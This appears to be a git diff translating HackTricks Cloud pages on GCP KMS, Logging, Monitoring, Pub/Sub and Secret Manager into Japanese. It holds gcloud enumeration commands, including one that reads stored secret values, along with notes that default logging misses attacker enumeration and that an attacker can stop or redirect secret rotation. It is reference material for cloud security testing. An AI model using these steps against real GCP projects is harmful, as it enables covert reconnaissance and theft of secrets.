- **Supported:** [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
- **Asymmetric Decryption**: Used to verify the authenticity of a message or data. A digital signature is created using a private key and can be verified using the corresponding public key.
- **Supported:** [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
- **MAC Signing**: Used to ensure **data integrity and authenticity by creating a message authentication code (MAC) using a secret key**. HMAC is commonly used for message authentication in network protocols and software applications.
- **Supported:** [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign), [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify)
- **対称暗号化/復号化**: **単一の鍵を使用してデータを暗号化および復号化するために使用**されます。対称鍵は、大量のデータを暗号化および復号化するのに高速で効率的です。
- **サポート**: [cryptoKeys.encrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/encrypt), [cryptoKeys.decrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys/decrypt)
- **非対称署名**: 鍵を共有せずに二者間の安全な通信に使用されます。非対称鍵はペアで構成され、**公開鍵と秘密鍵**があります。公開鍵は他者と共有され、秘密鍵は秘密に保たれます。
- **サポート**: [cryptoKeyVersions.asymmetricSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricSign), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
- **非対称復号化**: メッセージやデータの真正性を確認するために使用されます。デジタル署名は秘密鍵を使用して作成され、対応する公開鍵を使用して検証できます。
- **サポート**: [cryptoKeyVersions.asymmetricDecrypt](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/asymmetricDecrypt), [cryptoKeyVersions.getPublicKey](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/getPublicKey)
- **MAC署名**: **秘密鍵を使用してメッセージ認証コードMACを作成することで、データの整合性と真正性を確保するために使用**されます。HMACは、ネットワークプロトコルやソフトウェアアプリケーションでメッセージ認証に一般的に使用されます。
- **サポート**: [cryptoKeyVersions.macSign](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macSign), [cryptoKeyVersions.macVerify](https://cloud.google.com/kms/docs/reference/rest/v1/projects.locations.keyRings.cryptoKeys.cryptoKeyVersions/macVerify)
### Rotation Period & Programmed for destruction period
By **default**, each **90 days** but it can be **easily** and **completely customized.**
**デフォルト**では、**90日ごと**ですが、**簡単に**かつ**完全にカスタマイズ可能です**
The "Programmed for destruction" period is the **time since the user ask for deleting the key** and until the key is **deleted**. It cannot be changed after the key is created (default 1 day).
「プログラムされた破壊」期間は、**ユーザーが鍵の削除を要求してからの時間**であり、鍵が**削除されるまで**の期間です。鍵が作成された後は変更できませんデフォルトは1日
### Primary Version
Each KMS key can have several versions, one of them must be the **default** one, this will be the one used when a **version is not specified when interacting with the KMs key**.
各KMS鍵は複数のバージョンを持つことができ、そのうちの1つは**デフォルト**のものでなければなりません。これは、**KMS鍵と対話する際にバージョンが指定されていない場合に使用されるもの**です。
### Enumeration
Having **permissions to list the keys** this is how you can access them:
**鍵をリストする権限を持っている場合**、これがそれらにアクセスする方法です:
```bash
# List the global keyrings available
gcloud kms keyrings list --location global
@@ -50,37 +49,32 @@ gcloud kms keys get-iam-policy <KEY>
# Encrypt a file using one of your keys
gcloud kms encrypt --ciphertext-file=[INFILE] \
--plaintext-file=[OUTFILE] \
--key [KEY] \
--keyring [KEYRING] \
--location global
--plaintext-file=[OUTFILE] \
--key [KEY] \
--keyring [KEYRING] \
--location global
# Decrypt a file using one of your keys
gcloud kms decrypt --ciphertext-file=[INFILE] \
--plaintext-file=[OUTFILE] \
--key [KEY] \
--keyring [KEYRING] \
--location global
--plaintext-file=[OUTFILE] \
--key [KEY] \
--keyring [KEYRING] \
--location global
```
### Privilege Escalation
### 権限昇格
{{#ref}}
../gcp-privilege-escalation/gcp-kms-privesc.md
{{#endref}}
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-kms-post-exploitation.md
{{#endref}}
## References
## 参考文献
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/#reviewing-stackdriver-logging)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,99 +2,94 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
This service allows users to store, search, analyze, monitor, and alert on **log data and events** from GCP.
このサービスは、ユーザーがGCPからの**ログデータとイベント**を保存、検索、分析、監視、アラートすることを可能にします。
Cloud Logging is fully integrated with other GCP services, providing a centralized repository for logs from all your GCP resources. It **automatically collects logs from various GCP services** like App Engine, Compute Engine, and Cloud Functions. You can also use Cloud Logging for applications running on-premises or in other clouds by using the Cloud Logging agent or API.
Cloud Loggingは他のGCPサービスと完全に統合されており、すべてのGCPリソースからのログの集中リポジトリを提供します。さまざまなGCPサービスApp EngineCompute EngineCloud Functionsなど)からログを**自動的に収集**します。また、Cloud LoggingエージェントやAPIを使用することで、オンプレミスや他のクラウドで実行されているアプリケーションにもCloud Loggingを使用できます。
Key Features:
主な機能:
- **Log Data Centralization:** Aggregate log data from various sources, offering a holistic view of your applications and infrastructure.
- **Real-time Log Management:** Stream logs in real time for immediate analysis and response.
- **Powerful Data Analysis:** Use advanced filtering and search capabilities to sift through large volumes of log data quickly.
- **Integration with BigQuery:** Export logs to BigQuery for detailed analysis and querying.
- **Log-based Metrics:** Create custom metrics from your log data for monitoring and alerting.
- **ログデータの集中管理:** 様々なソースからのログデータを集約し、アプリケーションとインフラストラクチャの全体像を提供します。
- **リアルタイムログ管理:** 即時分析と応答のために、リアルタイムでログをストリーミングします。
- **強力なデータ分析:** 高度なフィルタリングと検索機能を使用して、大量のログデータを迅速に処理します。
- **BigQueryとの統合** 詳細な分析とクエリのために、ログをBigQueryにエクスポートします。
- **ログベースのメトリクス:** 監視とアラートのために、ログデータからカスタムメトリクスを作成します。
### Logs flow
### ログの流れ
<figure><img src="../../../images/image (3) (1) (1).png" alt=""><figcaption><p><a href="https://betterstack.com/community/guides/logging/gcp-logging/">https://betterstack.com/community/guides/logging/gcp-logging/</a></p></figcaption></figure>
Basically the sinks and log based metrics will device where a log should be stored.
基本的に、シンクとログベースのメトリクスは、ログがどこに保存されるべきかを決定します。
### Configurations Supported by GCP Logging
### GCP Loggingがサポートする構成
Cloud Logging is highly configurable to suit diverse operational needs:
1. **Log Buckets (Logs storage in the web):** Define buckets in Cloud Logging to manage **log retention**, providing control over how long your log entries are retained.
- By default the buckets `_Default` and `_Required` are created (one is logging what the other isnt).
- **\_Required** is:
Cloud Loggingは多様な運用ニーズに合わせて高度に構成可能です:
1. **ログバケット(ウェブ上のログストレージ):** Cloud Loggingでバケットを定義して**ログ保持**を管理し、ログエントリがどのくらいの期間保持されるかを制御します。
- デフォルトで、バケット`_Default``_Required`が作成されます(片方が記録しているものを、もう片方は記録していません)。
- **\_Required**は:
````
```bash
LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
```
````
- **Retention period** of the data is configured per bucket and must be **at least 1 day.** However the **retention period of \_Required is 400 days** and cannot be modified.
- Note that Log Buckets are **not visible in Cloud Storage.**
2. **Log Sinks (Log router in the web):** Create sinks to **export log entries** to various destinations such as Pub/Sub, BigQuery, or Cloud Storage based on a **filter**.
- By **default** sinks for the buckets `_Default` and `_Required` are created:
- ```bash
_Required logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Required LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
_Default logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Default NOT LOG_ID("cloudaudit.googleapis.com/activity") AND NOT LOG_ID("externalaudit.googleapis.com/activity") AND NOT LOG_ID("cloudaudit.googleapis.com/system_event") AND NOT LOG_ID("externalaudit.googleapis.com/system_event") AND NOT LOG_ID("cloudaudit.googleapis.com/access_transparency") AND NOT LOG_ID("externalaudit.googleapis.com/access_transparency")
```
- **Exclusion Filters:** It's possible to set up **exclusions to prevent specific log entries** from being ingested, saving costs, and reducing unnecessary noise.
3. **Log-based Metrics:** Configure **custom metrics** based on the content of logs, allowing for alerting and monitoring based on log data.
4. **Log views:** Log views give advanced and **granular control over who has access** to the logs within your log buckets.
- Cloud Logging **automatically creates the `_AllLogs` view for every bucket**, which shows all logs. Cloud Logging also creates a view for the `_Default` bucket called `_Default`. The `_Default` view for the `_Default` bucket shows all logs except Data Access audit logs. The `_AllLogs` and `_Default` views are not editable.
It's possible to allow a principal **only to use a specific Log view** with an IAM policy like:
```json
{
"bindings": [
{
"members": ["user:username@gmail.com"],
"role": "roles/logging.viewAccessor",
"condition": {
"title": "Bucket reader condition example",
"description": "Grants logging.viewAccessor role to user username@gmail.com for the VIEW_ID log view.",
"expression": "resource.name == \"projects/PROJECT_ID/locations/LOCATION/buckets/BUCKET_NAME/views/VIEW_ID\""
}
}
],
"etag": "BwWd_6eERR4=",
"version": 3
}
```bash
LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
```
````
- **データの保持期間**はバケットごとに設定され、**少なくとも1日**でなければなりません。ただし、**\_Requiredの保持期間は400日**であり、変更することはできません。
- ログバケットは**Cloud Storageに表示されません。**
2. **ログシンク(ウェブのログルーター):** **フィルター**に基づいて、Pub/Sub、BigQuery、またはCloud Storageなどのさまざまな宛先に**ログエントリをエクスポート**するためのシンクを作成します。
- **デフォルト**では、バケットのためにシンクが作成されます:`_Default`と`_Required`
- ```bash
_Required logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Required LOG_ID("cloudaudit.googleapis.com/activity") OR LOG_ID("externalaudit.googleapis.com/activity") OR LOG_ID("cloudaudit.googleapis.com/system_event") OR LOG_ID("externalaudit.googleapis.com/system_event") OR LOG_ID("cloudaudit.googleapis.com/access_transparency") OR LOG_ID("externalaudit.googleapis.com/access_transparency")
_Default logging.googleapis.com/projects/<proj-name>/locations/global/buckets/_Default NOT LOG_ID("cloudaudit.googleapis.com/activity") AND NOT LOG_ID("externalaudit.googleapis.com/activity") AND NOT LOG_ID("cloudaudit.googleapis.com/system_event") AND NOT LOG_ID("externalaudit.googleapis.com/system_event") AND NOT LOG_ID("cloudaudit.googleapis.com/access_transparency") AND NOT LOG_ID("externalaudit.googleapis.com/access_transparency")
```
- **除外フィルター:** 特定のログエントリが取り込まれないように**除外を設定することが可能**で、コストを節約し、不必要なノイズを減らします。
3. **ログベースのメトリクス:** ログの内容に基づいて**カスタムメトリクスを設定**し、ログデータに基づいてアラートや監視を行うことができます。
4. **ログビュー:** ログビューは、ログバケット内のログへの**アクセス権を持つ人を詳細に制御**します。
- Cloud Loggingは、すべてのバケットに対して自動的に`_AllLogs`ビューを作成し、すべてのログを表示します。Cloud Loggingはまた、`_Default`バケットのために`_Default`というビューを作成します。`_Default`バケットの`_Default`ビューは、データアクセス監査ログを除くすべてのログを表示します。`_AllLogs`および`_Default`ビューは編集できません。
特定のログビューを**使用するだけの権限を持つ**ようにIAMポリシーを設定することが可能です
```json
{
"bindings": [
{
"members": ["user:username@gmail.com"],
"role": "roles/logging.viewAccessor",
"condition": {
"title": "Bucket reader condition example",
"description": "Grants logging.viewAccessor role to user username@gmail.com for the VIEW_ID log view.",
"expression": "resource.name == \"projects/PROJECT_ID/locations/LOCATION/buckets/BUCKET_NAME/views/VIEW_ID\""
}
}
],
"etag": "BwWd_6eERR4=",
"version": 3
}
```
### Default Logs
By default **Admin Write** operations (also called Admin Activity audit logs) are the ones logged (write metadata or configuration information) and **can't be disabled**.
デフォルトでは、**Admin Write** 操作Admin Activity 監査ログとも呼ばれる)が記録され(メタデータまたは構成情報を書き込む)、**無効にすることはできません**
Then, the user can enable **Data Access audit logs**, these are **Admin Read, Data Write and Data Write**.
その後、ユーザーは **Data Access 監査ログ** を有効にできます。これには **Admin ReadData WriteData Write** が含まれます。
You can find more info about each type of log in the docs: [https://cloud.google.com/iam/docs/audit-logging](https://cloud.google.com/iam/docs/audit-logging)
各ログタイプの詳細については、ドキュメントを参照してください: [https://cloud.google.com/iam/docs/audit-logging](https://cloud.google.com/iam/docs/audit-logging)
However, note that this means that by default **`GetIamPolicy`** actions and other read actions are **not being logged**. So, by default an attacker trying to enumerate the environment won't be caught if the sysadmin didn't configure to generate more logs.
ただし、これはデフォルトで **`GetIamPolicy`** アクションやその他の読み取りアクションが **記録されていない** ことを意味します。したがって、デフォルトでは、環境を列挙しようとする攻撃者は、システム管理者がより多くのログを生成するように設定していなければ、捕まることはありません。
To enable more logs in the console the sysadmin needs to go to [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) and enable them. There are 2 different options:
コンソールでより多くのログを有効にするには、システム管理者は [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) に移動し、それらを有効にする必要があります。2つの異なるオプションがあります
- **Default Configuration**: It's possible to create a default configuration and log all the Admin Read and/or Data Read and/or Data Write logs and even add exempted principals:
- **Default Configuration**: デフォルト構成を作成し、すべての Admin Read および/または Data Read および/または Data Write ログを記録し、免除されたプリンシパルを追加することが可能です:
<figure><img src="../../../images/image (338).png" alt=""><figcaption></figcaption></figure>
- **Select the services**: Or just **select the services** you would like to generate logs and the type of logs and the excepted principal for that specific service.
- **Select the services**: または、ログを生成したいサービスとその特定のサービスのログの種類および免除されたプリンシパルを**選択**することができます。
Also note that by default only those logs are being generated because generating more logs will increase the costs.
また、デフォルトではこれらのログのみが生成されていることに注意してください。より多くのログを生成するとコストが増加します。
### Enumeration
The `gcloud` command-line tool is an integral part of the GCP ecosystem, allowing you to manage your resources and services. Here's how you can use `gcloud` to manage your logging configurations and access logs.
`gcloud` コマンドラインツールは GCP エコシステムの不可欠な部分であり、リソースやサービスを管理することができます。ここでは、`gcloud` を使用してログ設定を管理し、ログにアクセスする方法を説明します。
```bash
# List buckets
gcloud logging buckets list
@@ -119,32 +114,27 @@ gcloud logging views describe --bucket <bucket> --location global <view-id> # vi
gcloud logging links list --bucket _Default --location global
gcloud logging links describe <link-id> --bucket _Default --location global
```
例として、**`cloudresourcemanager`**(権限をブルートフォースするために使用されるもの)のログを確認するには次のリンクを参照してください: [https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512](https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2&project=digital-bonfire-410512)
Example to check the logs of **`cloudresourcemanager`** (the one used to BF permissions): [https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2\&project=digital-bonfire-410512](https://console.cloud.google.com/logs/query;query=protoPayload.serviceName%3D%22cloudresourcemanager.googleapis.com%22;summaryFields=:false:32:beginning;cursorTimestamp=2024-01-20T00:07:14.482809Z;startTime=2024-01-01T11:12:26.062Z;endTime=2024-02-02T17:12:26.062Z?authuser=2&project=digital-bonfire-410512)
There aren't logs of **`testIamPermissions`**:
**`testIamPermissions`** のログはありません:
<figure><img src="../../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-logging-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-logging-persistence.md
{{#endref}}
## References
## 参考文献
- [https://cloud.google.com/logging/docs/logs-views#gcloud](https://cloud.google.com/logging/docs/logs-views#gcloud)
- [https://betterstack.com/community/guides/logging/gcp-logging/](https://betterstack.com/community/guides/logging/gcp-logging/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,8 +4,7 @@
## Memorystore
Reduce latency with scalable, secure, and highly available in-memory service for [**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) and [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache). Learn more.
[**Redis**](https://cloud.google.com/sdk/gcloud/reference/redis) [**Memcached**](https://cloud.google.com/sdk/gcloud/reference/memcache) のためのスケーラブルで安全、高可用性のインメモリサービスでレイテンシを削減します。詳細を学ぶ。
```bash
# Memcache
gcloud memcache instances list --region <region>
@@ -17,9 +16,4 @@ gcloud redis instances list --region <region>
gcloud redis instances describe <INSTACE> --region <region>
gcloud redis instances export gs://my-bucket/my-redis-instance.rdb my-redis-instance --region=us-central1
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,30 +2,29 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud Monitoring offers a suite of tools to **monitor**, troubleshoot, and improve the performance of your cloud resources. From a security perspective, Cloud Monitoring provides several features that are crucial for maintaining the security and compliance of your cloud environment:
Google Cloud Monitoringは、クラウドリソースの**監視**、トラブルシューティング、パフォーマンス向上のためのツール群を提供します。セキュリティの観点から、Cloud Monitoringはクラウド環境のセキュリティとコンプライアンスを維持するために重要な複数の機能を提供します。
### Policies
### ポリシー
Policies **define conditions under which alerts are triggered and how notifications are sent**. They allow you to monitor specific metrics or logs, set thresholds, and determine where and how to send alerts (like email or SMS).
ポリシーは、**アラートがトリガーされる条件と通知が送信される方法を定義します**。これにより、特定のメトリクスやログを監視し、閾値を設定し、アラートを送信する場所や方法メールやSMSなどを決定できます。
### Dashboards
### ダッシュボード
Monitoring Dashboards in GCP are customizable interfaces for visualizing the **performance and status of cloud resources**. They offer real-time insights through charts and graphs, aiding in efficient system management and issue resolution.
GCPの監視ダッシュボードは、**クラウドリソースのパフォーマンスとステータスを視覚化するためのカスタマイズ可能なインターフェース**です。チャートやグラフを通じてリアルタイムの洞察を提供し、効率的なシステム管理と問題解決を支援します。
### Channels
### チャンネル
Different **channels** can be configured to **send alerts** through various methods, including **email**, **SMS**, **Slack**, and more.
異なる**チャンネル**を設定して、**アラートを送信**するためのさまざまな方法(**メール**、**SMS**、**Slack**など)を利用できます。
Moreover, when an alerting policy is created in Cloud Monitoring, it's possible to **specify one or more notification channels**.
さらに、Cloud Monitoringでアラートポリシーが作成されると、**1つ以上の通知チャンネルを指定することが可能です**。
### Snoozers
### スヌーザー
A snoozer will **prevent the indicated alert policies to generate alerts or send notifications** during the indicated snoozing period. Additionally, when a snooze is applied to a **metric-based alerting policy**, Monitoring proceeds to **resolve any open incidents** that are linked to that specific policy.
### Enumeration
スヌーザーは、指定されたスヌーズ期間中に**指定されたアラートポリシーがアラートを生成したり通知を送信したりするのを防ぎます**。さらに、**メトリックベースのアラートポリシー**にスヌーズが適用されると、Monitoringはその特定のポリシーに関連する**未解決のインシデントを解決**し続けます。
### 列挙
```bash
# Get policies
gcloud alpha monitoring policies list
@@ -43,19 +42,14 @@ gcloud monitoring snoozes describe <snoozer>
gcloud alpha monitoring channels list
gcloud alpha monitoring channels describe <channel>
```
### Post Exploitation
### ポストエクスプロイテーション
{{#ref}}
../gcp-post-exploitation/gcp-monitoring-post-exploitation.md
{{#endref}}
## References
## 参考文献
- [https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli](https://cloud.google.com/monitoring/alerts/manage-snooze#gcloud-cli)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,32 +4,30 @@
## Pub/Sub <a href="#reviewing-cloud-pubsub" id="reviewing-cloud-pubsub"></a>
[Google **Cloud Pub/Sub**](https://cloud.google.com/pubsub/) is described as a service facilitating message exchange between independent applications. The core components include **topics**, to which applications can **subscribe**. Subscribed applications have the capability to **send and receive messages**. Each message comprises the actual content along with associated metadata.
[Google **Cloud Pub/Sub**](https://cloud.google.com/pubsub/) は、独立したアプリケーション間のメッセージ交換を促進するサービスとして説明されています。コアコンポーネントには、アプリケーションが**サブスクライブ**できる**トピック**が含まれます。サブスクライブされたアプリケーションは、**メッセージを送受信する**機能を持っています。各メッセージは、実際のコンテンツと関連するメタデータで構成されています。
The **topic is the queue** where messages are going to be sent, while the **subscriptions** are the **objects** users are going to use to **access messages in the topics**. There can be more than **1 subscription per topic** and there are 4 types of subscriptions:
**トピックはメッセージが送信されるキュー**であり、**サブスクリプション**はユーザーが**トピック内のメッセージにアクセスするために使用する****オブジェクト**です。**トピックごとに1つ以上のサブスクリプション**が存在することができ、サブスクリプションには4つのタイプがあります
- **Pull**: The user(s) of this subscription needs to pull for messages.
- **Push**: An URL endpoint is indicated and messages will be sent immediately to it.
- **Big query table**: Like push but setting the messages inside a Big query table.
- **Cloud Storage**: Deliver messages directly to an existing bucket.
- **プル**: このサブスクリプションのユーザーはメッセージをプルする必要があります。
- **プッシュ**: URLエンドポイントが指定され、メッセージは即座に送信されます。
- **ビッグクエリテーブル**: プッシュと同様ですが、メッセージをビッグクエリテーブルに格納します。
- **クラウドストレージ**: 既存のバケットにメッセージを直接配信します。
By **default** a **subscription expires after 31 days**, although it can be set to never expire.
**デフォルト**では、**サブスクリプションは31日後に期限切れ**になりますが、期限切れにしないように設定することもできます。
By **default**, a message is **retained for 7 days**, but this time can be **increased up to 31 days**. Also, if it's not **ACKed in 10s** it goes back to the queue. It can also be set that ACKed messages should continue to be stored.
**デフォルト**では、メッセージは**7日間保持され**ますが、この期間は**最大31日間まで延長**できます。また、**10秒以内にACKされない**場合、メッセージはキューに戻ります。ACKされたメッセージを引き続き保存するように設定することもできます。
A topic is by default encrypted using a **Google managed encryption key**. But a **CMEK** (Customer Managed Encryption Key) from KMS can also be selected.
トピックはデフォルトで**Google管理の暗号化キー**を使用して暗号化されています。ただし、KMSからの**CMEK**(顧客管理の暗号化キー)を選択することもできます。
**Dead letter**: Subscriptions may configure a **maximum number of delivery attempts**. When a message cannot be delivered, it is **republished to the specified dead letter topic**.
**デッドレター**: サブスクリプションは**最大配信試行回数**を設定できます。メッセージが配信できない場合、指定されたデッドレタートピックに**再公開**されます。
### Snapshots & Schemas
### スナップショットとスキーマ
A snapshot is a feature that **captures the state of a subscription at a specific point in time**. It is essentially a consistent **backup of the unacknowledged messages in a subscription**. By creating a snapshot, you preserve the message acknowledgment state of the subscription, allowing you to resume message consumption from the point the snapshot was taken, even after the original messages would have been otherwise deleted.\
If you are very lucky a snapshot could contain **old sensitive information** from when the snapshot was taken.
スナップショットは、**特定の時点でのサブスクリプションの状態をキャプチャする**機能です。これは本質的に、サブスクリプション内の未確認メッセージの一貫した**バックアップ**です。スナップショットを作成することで、サブスクリプションのメッセージ確認状態を保持し、スナップショットが取得された時点からメッセージの消費を再開することができます。元のメッセージが削除される場合でも、スナップショットが取得された時点の**古い機密情報**を含む可能性があります。
When creating a topic, you can indicate that the **topic messages must follow a schema**.
### Enumeration
トピックを作成する際に、**トピックメッセージはスキーマに従う必要がある**ことを示すことができます。
### 列挙
```bash
# Get a list of topics in the project
gcloud pubsub topics list
@@ -51,10 +49,9 @@ gcloud pubsub schemas list-revisions <schema>
gcloud pubsub snapshots list
gcloud pubsub snapshots describe <snapshot>
```
しかし、より多くのデータセットを[**要求する**](https://cloud.google.com/pubsub/docs/replay-overview)ことで、より良い結果が得られるかもしれません。これにはいくつかの前提条件があり、アプリケーションに影響を与える可能性があるため、本当に何をしているのかを理解していることを確認してください。
However, you may have better results [**asking for a larger set of data**](https://cloud.google.com/pubsub/docs/replay-overview), including older messages. This has some prerequisites and could impact applications, so make sure you really know what you're doing.
### Privilege Escalation & Post Exploitation
### 権限昇格とポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -62,15 +59,14 @@ However, you may have better results [**asking for a larger set of data**](https
## Pub/Sub Lite
[**Pub/Sub Lite**](https://cloud.google.com/pubsub/docs/choosing-pubsub-or-lite) is a messaging service with **zonal storage**. Pub/Sub Lite **costs a fraction** of Pub/Sub and is meant for **high volume streaming** (up to 10 million messages per second) pipelines and event-driven system where low cost is the primary consideration.
[**Pub/Sub Lite**](https://cloud.google.com/pubsub/docs/choosing-pubsub-or-lite) **ゾーンストレージ**を持つメッセージングサービスです。Pub/Sub LiteはPub/Subの**ごく一部のコスト**で、**高ボリュームストリーミング**毎秒最大1000万メッセージパイプラインや低コストが主な考慮事項であるイベント駆動型システム向けに設計されています。
In PubSub Lite there **are** **topics** and **subscriptions**, there **aren't snapshots** and **schemas** and there are:
Pub/Sub Liteには**トピック**と**サブスクリプション**があり、**スナップショット**や**スキーマ**はありません。また、以下があります:
- **Reservations**: Pub/Sub Lite Reservations is a feature that allows users to reserve capacity in a specific region for their message streams.
- **Operations**: Refers to the actions and tasks involved in managing and administering Pub/Sub Lite.
### Enumeration
- **予約**: Pub/Sub Liteの予約は、ユーザーが特定の地域でメッセージストリームのために容量を予約できる機能です。
- **操作**: Pub/Sub Liteの管理および運営に関わるアクションやタスクを指します。
### 列挙
```bash
# lite-topics
gcloud pubsub lite-topics list
@@ -90,9 +86,4 @@ gcloud pubsub lite-reservations list-topics <topic>
gcloud pubsub lite-operations list
gcloud pubsub lite-operations describe <topic>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,18 +4,17 @@
## Secret Manager
Google [**Secret Manager**](https://cloud.google.com/solutions/secrets-management/) is a vault-like solution for storing passwords, API keys, certificates, files (max 64KB) and other sensitive data.
Google [**Secret Manager**](https://cloud.google.com/solutions/secrets-management/) は、パスワード、API キー、証明書、ファイル(最大 64KBおよびその他の機密データを保存するための金庫のようなソリューションです。
A secret can have **different versions storing different data**.
シークレットは **異なるデータを保存する異なるバージョン**を持つことができます。
Secrets by **default** are **encrypted using a Google managed key**, but it's **possible to select a key from KMS** to use to encrypt the secret.
シークレットは **デフォルトで Google 管理のキーを使用して暗号化**されていますが、シークレットを暗号化するために **KMS からキーを選択することも可能**です。
Regarding **rotation**, it's possible to configure **messages to be sent to pub-sub every number of days**, the code listening to those messages can **rotate the secret**.
**ローテーション**に関しては、**日数ごとに pub-sub にメッセージを送信するように設定**することが可能で、そのメッセージをリッスンするコードが **シークレットをローテート**できます。
It's possible to configure a day for **automatic deletion**, when the indicated day is **reached**, the **secret will be automatically deleted**.
**自動削除**のための日を設定することが可能で、指定された日が **到達すると、シークレットは自動的に削除**されます。
### Enumeration
```bash
# First, list the entries
gcloud secrets list
@@ -25,33 +24,28 @@ gcloud secrets get-iam-policy <secret_name>
gcloud secrets versions list <secret_name>
gcloud secrets versions access 1 --secret="<secret_name>"
```
### 権限昇格
### Privilege Escalation
In the following page you can check how to **abuse secretmanager permissions to escalate privileges.**
次のページでは、**secretmanagerの権限を悪用して権限を昇格させる方法**を確認できます。
{{#ref}}
../gcp-privilege-escalation/gcp-secretmanager-privesc.md
{{#endref}}
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-secret-manager-persistence.md
{{#endref}}
### Rotation misuse
### ローテーションの悪用
An attacker could update the secret to **stop rotations** (so it won't be modified), or **make rotations much less often** (so the secret won't be modified) or to **publish the rotation message to a different pub/sub**, or modifying the rotation code being executed (this happens in a different service, probably in a Clound Function, so the attacker will need privileged access over the Cloud Function or any other service)
攻撃者は、**ローテーションを停止する**ためにシークレットを更新したり(変更されないように)、**ローテーションをはるかに少なくする**(シークレットが変更されないように)ことができます。また、**ローテーションメッセージを別のpub/subに公開する**、または実行されるローテーションコードを変更することもできます(これは別のサービスで発生し、恐らくCloud Function内で、攻撃者はCloud Functionまたは他のサービスに対して特権アクセスを必要とします
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,38 +2,37 @@
